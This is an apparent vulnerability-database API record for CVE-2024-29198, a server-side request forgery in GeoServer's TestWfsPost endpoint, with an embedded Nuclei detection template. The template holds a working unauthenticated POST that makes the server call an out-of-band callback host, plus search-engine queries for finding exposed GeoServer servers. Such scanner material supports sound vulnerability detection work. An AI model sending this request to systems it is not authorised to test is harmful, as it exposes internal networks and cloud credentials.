{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-29198/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-29198/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-29198/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-29198/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-29198/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-29198/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2024-29198"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2024-29198"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.02296,"kev":false,"percentile":0.83262},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-29198.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2024-29198\n\ninfo:\n  name: GeoServer Demo Request Endpoint - Server Side Request Forgery\n  author: iamnoooob,pdresearch\n  severity: high\n  description: |\n    It is possible to achieve Server Side Request Forgery (SSRF) via the Demo request endpoint if Proxy Base URL has not been set. An unauthenticated user can supply a request that will be issued by the server, allowing enumeration of internal networks and, in the case of cloud instances, access to sensitive data.\n  impact: |\n    An attacker can exploit this vulnerability to access internal resources, enumerate internal networks, and potentially access sensitive data in cloud environments through the server-side request forgery attack.\n  remediation: |\n    Upgrade to a patched version of GeoServer or configure the Proxy Base URL properly to prevent unauthorized server-side requests through the TestWfsPost endpoint.\n  reference:\n    - https://github.com/geoserver/geoserver/security/advisories/GHSA-5gw5-jccf-6hxw\n    - https://osgeo-org.atlassian.net/browse/GEOS-11390\n    - https://osgeo-org.atlassian.net/browse/GEOS-11794\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-29198\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2024-29198\n    cwe-id: CWE-918\n    epss-score: 0.02296\n    epss-percentile: 0.83313\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: osgeo\n    product: geoserver\n    shodan-query:\n      - http.title:\"geoserver\"\n      - server:\"geohttpserver\"\n    fofa-query:\n      - app=\"geoserver\"\n      - title=\"geoserver\"\n    google-query: intitle:\"geoserver\"\n  tags: cve,cve2024,ssrf,geoserver,oos,oast,vkev,vuln\n\nvariables:\n  string: \"{{randstr}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /geoserver/TestWfsPost HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        url=http://{{interactsh-url}}/?body={{string}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(interactsh_protocol, 'http')\"\n          - \"contains(content_type, 'text/plain')\"\n          - \"regex('^{{string}}$', body)\"\n          - \"status_code == 200\"\n        condition: and\n# digest: 490a0046304402200476d253bc86ae865e8a313bd3d51535508bb0b2b48b6cc3d04bfdf46727a37702202eece0ec91dbff867272095dafc3dad8c00d0ca7c87d144b549b171701aa3280:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2024-29198"}